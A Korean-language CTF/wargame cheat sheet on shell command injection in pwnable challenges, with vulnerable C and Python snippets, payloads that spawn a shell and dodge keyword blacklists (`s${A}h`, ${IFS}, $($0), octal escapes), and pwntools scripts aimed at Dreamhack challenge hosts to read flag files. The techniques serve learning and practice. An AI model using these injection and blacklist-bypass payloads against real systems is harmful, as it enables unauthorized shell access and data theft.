shellscript & shell blacklist shortcut
이 글은 우리가 리눅스에서 사용하는 셸 스크립트 중에서 Pwnable을 하면서 유용한 정보들을 정리해놓는 곳이다.
Injection in shellscript
scanf("%s" , content)
sprintf(tmp ,"echo %s > /home/Dnote/note", content);
system(tmp);다음과 같은 상황일때 가능한 경우는 다음과 같다.
- 특수문자로 새로운 명령어를 실행
- 명령어의 결과를 넣어서 오류로 결과를 보기
둘다 비슷한 조건을 가지고 사실상 1번이 2의 상위호환인 느낌이다.
일단 1번의 경우에서는 새로운 명령어로 sh 를 실행시키는 것이 가장 고점이다.
; → 앞에 명령어를 끝내고 새로운 명령어를 실행하기
&& → 앞에 명령어가 성공 할때 뒤에 명령어 실행
& → 앞에 명령어를 백그라운드로 돌리고 뒤에 명령어 실행
`sh` ->` cmd ` 명령어의 결과를 가져오기
(pwn) amemoyoi ~$ echo date
date
(pwn) amemoyoi ~$ echo `date`
Sat Aug 16 10:19:28 PM KST 2025
(pwn) amemoyoi ~$ 여기서 sh를 넣음으로써 셸을 실행시킬 수 있다.
os.system(f"ping -c 1 {cmd}") 다음과 같은 코드에서 만약 cmd에 `sh` 을 넣었다면
cat flag
;
sh: 2: Syntax error: ";" unexpected
ping: WaRP{d1dn7_y0u_p1n6?}: Name or service not known다음과 같이 cat flag를 해도 당연히 결과가 안나온다. 명령어의 결과를 원래 셸스크립트에 넣는 것이기 때문.
즉, 여기서 ; 으로 명령어를 끝내면 다음과 같이 오류로 cat flag의 결과를 볼 수 있다.
(pwn) amemoyoi ~$ nc host8.dreamhack.games 12491
Welcome to the command challenge!
Enter the ping: $(s""h"")
cat flag
exit
ping: WaRP{d1dn7_y0u_p1n6?}: Name or service not known물론 다음과 같이도 가능하다.
$( cmd ) → ` cmd ` 와 같이 명령어의 결과를 가져오기
Enter the ping: $(s${A}h)
cat flag >&2
WaRP{d1dn7_y0u_p1n6?}또한 다음과 같이 cat flag >&2 으로 결과를 표준 에러(stderr)로 출력해서 기존 f"ping -c 1 {cmd}" 에 들어가는 것이 아닌 표준에러로 출력되기에 바로 출력된다. ( 바로 터미널로 확인 가능 )
>&2 이게 상당히 중요하다
# → 뒤에 스크립트를 주석으로 만들기
아래 링크 참조
https://dreamhack.io/wargame/writeups/6110
how to bypass blacklist
ENV & 변수 출력 ${ env }
p.sendline(b'`s${A}h`')
p.sendline(b'`bas${A}h`')sh , bash 같은 문자열이 블랙리스트 일때 ${A} 를 사용하면 A 변수에는 아무값도 없기에 `sh` 가 되면서 sh이 실행된다.
${IFS}
scanf("%31s", cat_name); 으로 문자열을 받으면
`cat flag` 할때 중간에 공백에서 잘리게 된다. 이는 scanf가 스페이스로 인자를 나누기 때문인데
이를 bypass 하기 위해서는
`cat${IFS}flag`다음과 같은 테크닉이 필요하다
${IFS}는 리눅스에서 단어 분리에 사용되는 기준이 뭔가에 대한 환경변수이다.
root@47d252757cc6:/home/cat_jump# printf "%s" "$IFS" | od -t x1
0000000 20 09 0a
0000003좀더 자세히 다룬것에 대해 정리해놓았다.
“” blank
$(s""h"")sh이 블랙리스트 일때 다음과 같이 blank를 통해 블랙리스트를 bypass 가능하다.
$($0)
신기하다 $0의 변수값을 실행시키는 코드인데
root@b2b537cdcd74:/home/pwn# echo $0
bash다음과 같이 일반적인 리눅스에서는 bash나 sh로 지정되어 있다.
Enter the ping: $($0)
cat flag >&2
WaRP{d1dn7_y0u_p1n6?}따라서 다음과 같이 셀이 실행된다.
물론 리눅스에서 어느 정도 버전이상 부터는
(pwn) amemoyoi ~$ echo $0
-bash
(pwn) amemoyoi ~$ $($0)
Command '-bash' not found, did you mean:
command 'rbash' from deb bash (5.2.21-2ubuntu1)
command 'bash' from deb bash (5.2.21-2ubuntu1)
Try: sudo apt install <deb name>
(pwn) amemoyoi ~$ 다음과 같이 -bash 로 -를 붙여서 보안장치를 해놓았다.
str copy
cat , flag , sh 과 모든 특수 문자가 막혀도
read(0, s, 255uLL);
n = strlen(s);
v8[495] = 0;
for ( i = 0; i <= 0x25; ++i )
{
if ( strstr(s, needle[i]) )
{
puts("Nope!");
exit(0);
}
}
memcpy(dest, s, n);
dest[1023] = 0;
system(dest);다음과 같이 memcpy 로 복사를 해서 할때는 뒤에서 부터 채울 수있다.
# cat flag
first = b"A" * 5 + b"lag"
p.send(first)
second = b"A" + b"at f"
p.send(second)
third = b"c"
p.send(third)8진수 이스케이프
from pwn import *
p = remote('host8.dreamhack.games', 9226)
cmd = ''.join([f'\\0{oct(c)[2:]}' for c in b"cat flag"]).encode()
payload = b'$($(echo\t\t"' + cmd + b'"))'
p.sendlineafter(b'ping: ', payload)
p.interactive()8진수로 보내고 셸에서 8진수를 해석하게 하는 방식, 당장 블랙리스트가 문자열로 되어 있기에 이를 bypass 가능한 신박한 방법
when black cat instruntion
cat 명령어를 ban 했을때 flag 파일을 출력하는 대용법들.
head -n1 flag
tail -n +1 flag # 전체
sed -n '1,200p' flag
awk '1' flag # 그대로 출력
dd if=flag status=none
xxd flag | head